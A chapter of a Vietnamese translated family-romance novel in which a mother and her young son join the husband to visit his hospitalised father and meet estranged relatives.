Mộ Tây nhìn tên hiện trên màn hình, nụ cười trên mặt bỗng nhiên cứng lại. Tiểu Đào Quân thấy mặt mẹ bỗng nhiên biến sắc sợ hãi: “Mẹ, mẹ làm sao vậy?”
“Không không mẹ không sao!” Mộ Tây đưa điện thoại cho Lục Nhược: “Tìm anh đó…. Tiểu Đào lại đây mẹ đưa con đi rửa mặt. Hôm nay lại đi khám lại, nếu không sao mai lại có thể đi học rồi!”
Lục Nhược nghe điện thoại xong đi vào phòng ngủ thay quần áo.
Mộ Tây lấy bát đũa: “Ăn cơm rồi hãy đi!” Tiểu Đào Quân hưng phấn đem thìa khua loạn trong bát: “Ăn cơm, ăn cơm!!!”
“Nhị Tây!” Lục Nhược đang thắt dở caravat đi tới: “Bố anh nằm viện, anh đi tới xem như thế nào. Đem Tiểu Đào đi khám lại bao giờ xong nhớ gọi cho anh…” Anh tạm dừng một chút: “Chị ấy mới về được ít lâu… Hai năm nay sức khỏe bố anh không được tốt, anh lại bận nhiều việc…”
Mộ Tây đi đến sô pha ngoài phòng khách, xoay người cầm lấy túi xách của anh, lấy chìa khóa đặt lên trên bàn.
Sau lại cầm chìa khóa đưa cho anh: “Lái xe cẩn thận một chút! Bao giờ Tiểu Đào khám xong, em đưa nó dến bệnh viện thăm bố luôn.”
Lục Nhược không đón lấy chìa khóa tiện thể ôm lấy cô: “Nhị Tây!”
“Đừng nghĩ em tốt như vậy,” Mộ Tây bị anh ôm đến thắt lưng cũng thấy đau: “Em chỉ là không muốn làm một người con dâu bất hiếu thôi!” Rốt cuộc, cô ấy vẫn là chị gái ruột của anh, họ có cùng cha mẹ. Dù đi đâu chăng nữa họ vẫn bị ràng buộc bởi dòng máu trong người, vĩnh viễn không thể bỏ được.
Lục Nhược hung hăng hôn cô một cái, cầm lấy đồ đạc vội vàng đi.
Tiểu Đào Quân đem canh trứng Lục Nhược làm ăn thử một miếng, vẻ mặt như quả mướp đắng nói: “Mẹ thật là rất khó ăn, bên trong còn có trứng gà.”
Mộ Tây nhìn đống đồ ăn trên bàn thở dài nói: “Tiểu Đào, mẹ cùng con ra ngoài ăn, ăn xong hai mẹ con mình đi thăm ông nội.”
***
Trong bênh viện tại thành phố S, Lục Đào ngoan ngoãn cùng mẹ đi theo y tá vào phòng bệnh.
Trong phòng mọi người thực xa lạ, Tiểu Đào nắm chặt bàn tay mẹ.
“Đây là… đã lớn như vậy rồi sao?” Lục mẹ che miệng nức nở nói, đưa tay về phía Tiểu Đào: “Đến cho bà nội ôm một cái nào!”
Tiểu Đào do còn nhỏ tuổi, sợ hãi chạy về sau lưng Mộ Tây trốn. Lục Nhược đi lấy thuốc vừa trở về, Tiểu Đào Quân nhìn thấy bố vô cùng ngạc nhiên: “Bố!”
Nghe được cháu biết Lục Nhược, tâm Lục mẹ hoàn toàn mềm ra.
Mộ Tây tránh ánh mắt Lục Nhược, đem Tiểu Đào đi đến giường bệnh: “Bố, bố có sao không? Tiểu Đào đây là ông nội, đây là bà nội,..” Ánh mắt rơi xuống giường bên cạnh Lục Hi, cô nhẹ giọng: “Đây là bác con.”
Tiểu Đào quay đầu nhỏ hết nhìn người này lại nhìn người khác, đến cổ còn thấy mỏi nhưng vẫn ngoan ngoãn chào hỏi mọi người.
Lục cha tuổi đã lớn, xương cốt không thể được như trước, năm nay lại càng thấy người nhiều bệnh thêm, bây giờ cũng đã trở thành khách quen của bệnh viện. Tiểu Đào ông cũng đã thấy qua chẳng qua khi đó nó còn nhỏ liền như vậy một đoạn thời gian không gặp, giống như đã thay đổi không ít. Kia một tiếng gọi: “Ông nội” nghe vào trong tai thật êm tai, mỉm cười gật gật đầu.
Trước
Tiếp
Báo lỗi chương
Bình luận
Truyendich.com
Website
đọc truyện
dịch online chất lượng cao với nhiều thể loại truyện đặc sắc như:
truyện ngôn tình
,
truyện teen
,
truyện xuyên không
,
truyện đô thị,
truyện kiếm hiệp
,
truyện tiên hiệp
chắc chắn sẽ mang đến cho bạn sự hài lòng.